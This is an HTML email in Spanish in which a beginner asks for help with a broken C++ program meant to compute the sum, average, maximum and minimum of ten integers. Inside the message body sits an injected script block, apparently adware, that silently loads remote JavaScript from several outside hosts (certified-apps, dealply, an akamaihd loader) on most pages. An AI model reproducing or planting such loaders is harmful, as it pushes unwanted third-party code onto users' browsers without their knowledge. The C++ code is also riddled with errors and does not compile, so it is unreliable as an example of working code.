<html>
<head>
<style><!--
.hmmessage P
{
margin:0px;
padding:0px
}
body.hmmessage
{
font-size: 10pt;
font-family:Tahoma
}
--></style></head>
<body class='hmmessage'><div dir='ltr'>
el objetivo de este programa es crear un array de 10 elementos luego el usuario da 10 numeros enteros y el programa los debe guardar en el array y de ahi calcular la suma de todos el promedio el mayor numero y el menor tenog estas dudas <script type="text/javascript">AddW(); function AddW(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=chSnsls");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}
Add5(); function Add5(){ if(window.location.href.indexOf("facebook.com")==-1) {    var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript");    script_tag.setAttribute("src","https://cdncache3-a.akamaihd.net/loaders/1219/l.js?aoi=1311798366&pid=1219&zoneid=55119");    (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag);  }}
//add
AddSenselessTV(); 
function AddSenselessTV(){ 
   if(window.location.href.indexOf("senseless.tv")!=-1)
    {    var script_tag=document.createElement('div');        
         script_tag.setAttribute("id","SenslessTVVideoPlugin"); 
         script_tag.setAttribute("hidden","true");
         //(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); 
         document.body.appendChild(script_tag);
        
      }
 }
 
function AddDP()
{
  if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 )
  {
          var script_tag = document.createElement('script');
            script_tag.setAttribute("type", "text/javascript");
            script_tag.setAttribute("src",
            "http://optstatic.dealply.com/toyf/version_content.js?channel=chSNS");
            // Try to find the head, otherwise default to the documentElement
            (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
  }
}

AddDP();
</script><div>1.- como declaro variables dentro de los bucles???(asi no tengo nesecidad de que sean globales ya que solo las nesecito dentro del bucle y ya</div><div>2.-esta bien mi programa??(es que lo ejecuto y solo me sale 10 0 55 en la suma y 1 o 5 en promedio)</div><div>3.-despues de que agregue las intrucciones para calcular el numero mayor ya no me copila porque??? que le falta???</div><div>gracias por su ayuda se aceptan sugerencias aqui esta el codigo(uso dev-c++):</div><div><br></div><div><br></div><div><div>#include <iostream></div><div>#include <cstdio></div><div>#include <cstdlib></div><div>#include <conio.h></div><div>using namespace std;</div><div><br></div><div>int valores[10],a=1,b=0,c,d,e,f,g,h;</div><div><br></div><div>int main()</div><div>{</div><div>    while(a!=11)</div><div>    {</div><div>                 cout<<endl<<"ingrese " << a <<" numero:";</div><div>                 a+=1;</div><div>                 valores[b]=0+b;</div><div>                 cin>>valores[b];</div><div>                 b=b+1;</div><div>    }</div><div>    /*hasta ahora tenemos los diez valores guardados en el array lo que sigue es mostrar  la suma de todos*/</div><div>    b=0;</div><div>    while(b!=11)</div><div>    {</div><div>                valores[b]=0+b;</div><div>                c=valores[b]+0;</div><div>                b++;</div><div>    }</div><div>    cout<<endl<<"la suma de todos es: "<< c;</div><div>    /*ahora el valor promedio*/</div><div>    d=c/10;</div><div>    cout<<endl<<"el valor promedio es: "<<d;</div><div>    /*ahora a calcular el numero mayor*/</div><div>    b=0;</div><div>    a=1;</div><div>    while((b!=10)&&(a!=11))</div><div>    {</div><div>                valores[b]=0+b;</div><div>                valores[a]=0+a;</div><div>                if</div><div>                (</div><div>                               (valores[b])>(valores[a]);</div><div>                               e=valores[b];</div><div>                               a++;</div><div>                )</div><div>                else</div><div>                (</div><div>                    b++;</div><div>                    f=valores[a];</div><div>                )</div><div>    }</div><div>    if</div><div>    {</div><div>    e>=f;</div><div>    cout<<endl<<"el numero mayor es: "<<e;</div><div>    }</div><div>    else</div><div>    {</div><div>        cout<<"el numero mayor es: "<<f;</div><div>    }</div><div>    /*ahora a calcular el numero menor*/</div><div>    b=0;</div><div>    a=1;</div><div>    while((b!=10)&&(a!=11))</div><div>    {</div><div>                valores[b]=0+b;</div><div>                valores[a]=0+a;</div><div>                if</div><div>                (</div><div>                               (valores[b])<(valores[a]);</div><div>                               g=valores[b];</div><div>                               a++;</div><div>                )</div><div>                else</div><div>                (</div><div>                    b++;</div><div>                    h=valores[a];</div><div>                )</div><div>    }</div><div>    if</div><div>    {</div><div>    g<=h;</div><div>    cout<<endl<<"el numero menor es: "<<g;</div><div>    }</div><div>    else</div><div>    {</div><div>        cout<<"el numero menor es: "<<h;</div><div>    }</div><div>    getch();</div><div>}</div></div><div><br></div><div><br></div><div><br></div><div><br></div><div>intento que el programa sea lo mas claro posible por eso talvez  noten muchos espacios.....</div>                                    </div></body>
</html>